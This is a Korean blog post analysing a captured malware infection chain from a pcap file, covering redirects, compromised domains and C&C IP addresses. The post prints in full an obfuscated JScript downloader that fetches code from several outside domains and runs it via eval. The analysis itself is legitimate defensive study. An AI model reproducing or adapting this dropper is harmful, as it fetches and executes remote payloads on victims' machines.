본문 바로가기

실제 악성코드 분석 - 1 본문

악성코드 분석

실제 악성코드 분석 - 1

Seongjun_You 2023. 2. 5. 21:16

pcap파일을 스구일로 replay 진행했다.

 

 

리다이렉트 이벤트 발생 후

악의적인 코드 다운

exe,dll 파일 다운 및 안티 디버깅이 적용되어 있는 이벤트다.

 

redirect 185.189.14.112
JS,EXE 213.136.26.180
C&C   94.198.98.20
client 104.4.26.101

 

 

악성 IP에 도메인들이 존재한다.

 

xplico를 통해 도메인 주소 정보를 확인

 

 

301 상태값으로 리다이렉트 하는 것을 알 수 있다.

해당 url로 이동

 

url이동 후 다시 정보를 확인하니 php로 이동하는 모습이다.

 

해당 다운로드 버튼을 누르면 다른 웹사이트로 이동된다.

 

 

jgen.php로 이동된다.

해당 주소로 정보를 찾는다.

 

 

마이너에서 관련된 파일을 발견했다.

해당 파일을 열어보았다.

var uuu = 10;while(uuu<999999) {uuu++;}

var ijdl = "MSXML2.XMLHTTP";

var dfs = WScript.CreateObject(ijdl);

var pusik = ['/'+'', 't', "ZRAM", ":", 'p', '', 'S', 'a', "T", '', "PILKU", 'FFFFFFFFFFFF'];

function ataaa(ziyter) {eval(ziyter+'');}

pusik[0+2] = "GETA";

pusik[3-1] = pusik[2].substr(0, 3);

var x = ["smulpapentocht.be/administrator/templates/hathor/less","atrium-nieruchomosci.pl/js/js/jscalendar-1.0/lang","lecamorariu.ro","protectie-electromagnetica.ro/wp-content/themes/twentythirteen/languages","js-electronics.be/tmp/yoo_venture_j25/warp/libraries"];

var gyt = 0;

var lub = pusik[0];

function muhter(kjg, lki) {return kjg.split(lki);}

while(true)

{

	if(gyt>=x.length)

	{

		break;

	}

	try

	{

		var feni = 'HpgGPurjqOYUiC5m7E5zI2wHXAm24wxwmggdLh9hcKGSGbppx60yndvFey7dcIfkeewV4gW9zQygkLmyIxfXuTrq4UiScQyEMooLcCBXaC7cWRvYX1wru35AddQrO5QRwn2h';

		var ghyt = false;

		var tjkh = x[gyt+1-1];

		var nami = "counter";

		var zmei = "http";

		grohot(dfs,pusik[1+1]+"", zmei + ":" + lub + '' + lub + tjkh + '/'+nami+'?'+feni, ghyt);

		dfs.send();

		var r = dfs.responseText;

		var rima = 10 * 50;

		var got = 50+450+rima;

		var fontu = r.length;

		var emisogh = 12;

		if ((fontu - got * 2) > (emisogh+emisogh-(22+2) - got) && r.indexOf(feni+'') > (got+1-1002))

		{

			var jiki = muhter(r, feni);

			var guznam = fuuu(jiki, 'a');

			ataaa(guznam+'');

			break;

		};

	}

	catch(e)

	{

	};

	gyt++;

};

function fuuu(fuu1, fuu2) {return fuu1.join(fuu2);}

function grohot(hunko,b1,b2,b3) {hunko.open(b1, b2, b3);}

 

zmei + ":" + lub + '' + lub + tjkh + '/'+nami+'?'+feni, ghyt

부분을 document.write 로 내용을 확인해 준다.

 

url들이 나온다.

 

 

해당 웹사이트를 다시 xplico에서 찾아주었다.

 

 

리다이렉트 해주고 들어가면 포비든이 나온다.

 

 

마이너에서 해당 도메인의 파일을 찾아주었다.

 

 

전에 있던 js코드를 보면

var feni = 'HpgGPurjqOYUiC5m7E5zI2wHXAm24wxwmggdLh9hcKGSGbppx60yndvFey7dcIfkeewV4gW9zQygkLmyIxfXuTrq4UiScQyEMooLcCBXaC7cWRvYX1wru35AddQrO5QRwn2h';

라는 변수가 존재하는 것으로 보아 치환해줘야 한다고 추측했다.

 

 

a가 빠져 있는 것으로 보아 var feni는 a로 치환하면 된다.

 

 

 

 

js 코드들이 나온다. 변수 데이터를 출력하여 내용을 확인해 준다.

 

 

이쁘게 정리해 주었다.

파일을 다운로드하여 환경변수에 저장하려는 코드다.

파일 경로를 확인해 준다.

 

xplico에서 관련된 파일을 식별했다.

 

 

virustotal에 분석 결과 트로젠으로 식별된다.

'악성코드 분석' 카테고리의 다른 글

악성코드 샘플 분석_3  (0) 2023.01.28
악성코드 샘플 분석_2  (2) 2023.01.13
악성코드 샘플 분석_1  (1) 2022.12.29
CapTipper  (0) 2022.12.21
NetworkMiner  (0) 2022.12.21
Comments